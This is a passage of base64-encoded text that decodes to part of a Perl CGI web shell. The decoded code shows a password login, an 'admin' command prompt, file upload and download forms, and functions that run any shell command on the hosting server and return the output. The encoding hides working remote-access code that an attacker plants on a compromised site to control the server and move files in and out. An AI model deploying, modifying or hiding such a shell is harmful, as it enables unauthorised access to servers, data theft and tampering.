tYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyPSAiPHNwYW4gc3R5bGU9J2ZvbnQ6IDExcHQgVmVyZGFuYTsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nI0ZGRkZGRic+W2FkbWluXEAkU2VydmVyTmFtZSAkZGlyXVwkPC9mb250PiAiOwoJcmV0dXJuIDw8RU5EOwo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIiBvblN1Ym1pdD0iRW5jb2RlcignYycpIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJjb21tYW5kIj4KCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CiRQcm9tcHQKPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIiBpZD0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+CjwvZm9ybT4KRU5ECn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CgkkRW5jb2RlQ3VycmVudERpciA9IEVuY29kZURpcigkQ3VycmVudERpcik7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEVuY29kZUN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvCiMgdGVybWluYXRlIHRoZSBzY3JpcHQgaW1tZWRpYXRlbHkuIFRoaXMgZnVuY3Rpb24gaXMgdmFsaWQgb25seSBvbiBVbml4LiBJdCBpcwojIG5ldmVyIGNhbGxlZCB3aGVuIHRoZSBzY3JpcHQgaXMgcnVubmluZyBvbiBOVC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQ29tbWFuZFRpbWVvdXQKewoJaWYoISRXaW5OVCkKCXsKCQlhbGFybSgwKTsKCQlyZXR1cm4gPDxFTkQ7CjwvdGV4dGFyZWE+Cjxicj48Zm9udCBjb2xvcj15ZWxsb3c+CkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS48L2ZvbnQ+Cjxicj48Zm9udCBzaXplPSc2JyBjb2xvcj1yZWQ+S2lsbGVkIGl0ITwvZm9udD4KRU5ECgl9Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gZGlzcGxheXMgdGhlIHBhZ2UgdGhhdCBjb250YWlucyBhIGxpbmsgd2hpY2ggYWxsb3dzIHRoZSB1c2VyCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoCiMgZmVhdHVyZSB0aGF0IHN0YXJ0cyB0aGUgZG93bmxvYWQgYXV0b21hdGljYWxseS4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgZmlsZW5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludERvd25sb2FkTGlua1BhZ2UKewoJbG9jYWwoJEZpbGVVcmwpID0gQF87CglteSAkcmVzdWx0PSIiOwoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzCgl7CgkJIyBlbmNvZGUgdGhlIGZpbGUgbGluayBzbyB3ZSBjYW4gc2VuZCBpdCB0byB0aGUgYnJvd3NlcgoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsKCQkkRG93bmxvYWRMaW5rID0gIiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmY9JEZpbGVVcmwmbz1nbyI7CgkJJEh0bWxNZXRhSGVhZGVyID0gIjxtZXRhIEhUVFAtRVFVSVY9XCJSZWZyZXNoXCIgQ09OVEVOVD1cIjE7IFVSTD0kRG93bmxvYWRMaW5rXCI+IjsKCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7CgkJJHJlc3VsdCAuPSA8PEVORDsKU2VuZGluZyBGaWxlICRUcmFuc2ZlckZpbGUuLi48YnI+CgpJZiB0aGUgZG93bmxvYWQgZG9lcyBub3Qgc3RhcnQgYXV0b21hdGljYWxseSwKPGEgaHJlZj0iJERvd25sb2FkTGluayI+Q2xpY2sgSGVyZTwvYT4KRU5ECgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCX0KCWVsc2UgIyBmaWxlIGRvZXNuJ3QgZXhpc3QKCXsKCQkkcmVzdWx0IC49ICJGYWlsZWQgdG8gZG93bmxvYWQgJEZpbGVVcmw6ICQhIjsKCQkkcmVzdWx0IC49ICZQcmludEZpbGVEb3dubG9hZEZvcm07Cgl9CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIGRvd25sb2FkcyBhIGZpbGUuIEl0IGRpc3BsYXlzIGEgbWVzc2FnZQojIHRvIHRoZSB1c2VyIGFuZCBwcm92aWRlcyBhIGxpbmsgdGhyb3VnaCB3aGljaCB0aGUgZmlsZSBjYW4gYmUgZG93bmxvYWRlZC4KIyBUaGlzIGZ1bmN0aW9uIGlzIGFsc28gY2FsbGVkIHdoZW4gdGhlIHVzZXIgY2xpY2tzIG9uIHRoYXQgbGluay4gSW4gdGhpcyBjYXNlLAojIHRoZSBmaWxlIGlzIHJlYWQgYW5kIHNlbnQgdG8gdGhlIGJyb3dzZXIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEJlZ2luRG93bmxvYWQKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJIyBnZXQgZnVsbHkgcXVhbGlmaWVkIHBhdGggb2YgdGhlIGZpbGUgdG8gYmUgZG93bmxvYWRlZAoJaWYoKCRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlxcfF4uOi8pKSB8CgkJKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQkmU2VuZEZpbGVUb0Jyb3dzZXIoJFRhcmdldEZpbGUpOwoJfQoJZWxzZSAjIHdlIGhhdmUgdG8gc2VuZCBvbmx5IHRoZSBsaW5rIHBhZ2UKCXsKCQkmUHJpbnREb3dubG9hZExpbmtQYWdlKCRUYXJnZXRGaWxlKTsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgd2FudHMgdG8gdXBsb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZSBpcyBub3Qgc3BlY2lmaWVkLCBpdCBkaXNwbGF5cyBhIGZvcm0gYWxsb3dpbmcgdGhlIHVzZXIgdG8gc3BlY2lmeSBhCiMgZmlsZSwgb3RoZXJ3aXNlIGl0IHN0YXJ0cyB0aGUgdXBsb2FkIHByb2Nlc3MuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFVwbG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIHVwbG9hZCBmb3JtIGFnYWluCglpZigkVHJhbnNmZXJGaWxlIGVxICIiKQoJewoJCXJldHVybiAmUHJpbnRGaWxlVXBsb2FkRm9ybTsKCgl9CglteSAkcmVzdWx0PSIiOwoJIyBzdGFydCB0aGUgdXBsb2FkaW5nIHByb2Nlc3MKCSRyZXN1bHQgLj0gIlVwbG9hZGluZyAkVHJhbnNmZXJGaWxlIHRvICRDdXJyZW50RGlyLi4uPGJyPiI7CgoJIyBnZXQgdGhlIGZ1bGxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgY3JlYXRlZAoJY2hvcCgkVGFyZ2V0TmFtZSkgaWYgKCRUYXJnZXROYW1lID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkkVHJhbnNmZXJGaWxlID1+IG0hKFteL15cXF0qKSQhOwoJJFRhcmdldE5hbWUgLj0gJFBhdGhTZXAuJDE7CgoJJFRhcmdldEZpbGVTaXplID0gbGVuZ3RoKCRpbnsnZmlsZWRhdGEnfSk7CgkjIGlmIHRoZSBmaWxlIGV4aXN0cyBhbmQgd2UgYXJlIG5vdCBzdXBwb3NlZCB0byBvdmVyd3JpdGUgaXQKCWlmKC1lICRUYXJnZXROYW1lICYmICRPcHRpb25zIG5lICJvdmVyd3JpdGUiKQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZDogRGVzdGluYXRpb24gZmlsZSBhbHJlYWR5IGV4aXN0cy48YnI+IjsKCX0KCWVsc2UgIyBmaWxlIGlzIG5vdCBwcmVzZW50Cgl7CgkJaWYob3BlbihVUExPQURGSUxFLCAiPiRUYXJnZXROYW1lIikpCgkJewoJCQliaW5tb2RlKFVQTE9BREZJTEUpIGlmICRXaW5OVDsKCQkJcHJpbnQgVVBMT0FERklMRSAkaW57J2ZpbGVkYXRhJ307CgkJCWNsb3NlKFVQTE9BREZJTEUpOwoJCQkkcmVzdWx0IC49ICJUcmFuc2ZlcmVkICRUYXJnZXRGaWxlU2l6ZSBCeXRlcy48YnI+IjsKCQkJJHJlc3VsdCAuPSAiRmlsZSBQYXRoOiAkVGFyZ2V0TmFtZTxicj4iOwoJCX0KCQllbHNlCgkJewoJCQkkcmVzdWx0IC49ICJGYWlsZWQ6ICQhPGJyPiI7CgkJfQoJfQoJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCXJldHVybiAkcmVzdWx0Owp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB0byBleGVjdXRlIGNvbW1hbmRzLiBJdCBkaXNwbGF5cyB0aGUgb3V0cHV0IG9mIHRoZQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5CiMgY29tbWFuZCBpcyBoYW5kbGVkIGRpZmZlcmVudGx5LiBJbiB0aGlzIGNhc2UsIHRoZSBuZXcgZGlyZWN0b3J5IGlzIHN0b3JlZCBpbgojIGFuIGludGVybmFsIHZhcmlhYmxlIGFuZCBpcyB1c2VkIGVhY2ggdGltZSBhIGNvbW1hbmQgaGFzIHRvIGJlIGV4ZWN1dGVkLiBUaGUKIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2VycwojIHRoZXJlZm9yZSBlcnJvciBtZXNzYWdlcyBjYW5ub3QgYmUgZGlzcGxheWVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBFeGVjdXRlQ29tbWFuZAp7CgkkQ3VycmVudERpciA9ICZUcmltU2xhc2hlcygkQ3VycmVudERpcik7CglteSAkcmVzdWx0PSIiOwoJaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqY2RccysoLispLykgIyBpdCBpcyBhIGNoYW5nZSBkaXIgY29tbWFuZAoJewoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUKCQkjIGNvbW1hbmQgaXMgbm90IGRpc3BsYXllZC4KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuImNkICQxIi4kQ21kU2VwLiRDbWRQd2Q7CgkJY2hvbXAoJEN1cnJlbnREaXIgPSBgJENvbW1hbmRgKTsKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kIDwvcnVuPjxicj48dGV4dGFyZWEgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkjIHh1YXQgdGhvbmcgdGluIGtoaSBjaHV5ZW4gZGVuIDEgdGh1IG11YyBuYW8gZG8hCgkJJFJ1bkNvbW1hbmQ9ICRXaW5OVD8iZGlyIjoiZGlyIC1saWEiOwoJCSRyZXN1bHQgLj0gJlJ1bkNtZDsKCX1lbHNpZigkUnVuQ29tbWFuZCA9fiBtL15ccyplZGl0XHMrKC4rKS8pCgl7CgkJJHJlc3VsdCAuPSAgJlNhdmVGaWxlRm9ybTsKCX1lbHNlCgl7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCQkkcmVzdWx0IC49ICJDb21tYW5kOiA8cnVuPiRSdW5Db21tYW5kPC9ydW4+PGJyPjx0ZXh0YXJlYSBpZD0nZGF0YScgY29scz0nJGNvbHMnIHJvd3M9JyRyb3dzJyBzcGVsbGNoZWNrPSdmYWxzZSc+IjsKCQkkcmVzdWx0IC49JlJ1bkNtZDsKCX0KCSRyZXN1bHQgLj0gICI8L3RleHRhcmVhPiI7CglyZXR1cm4gJHJlc3VsdDsKfQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgcnVuIGNvbW1hbmQKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygiJF9cbiIpOwoJCX0KCQkkfD0wOwoJfQoJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzCgl7CgkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygkQ29tbWFuZCk7Cgl9CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJfQoJcmV0dXJuICRyZXN1bHQ7Cn0KIz09P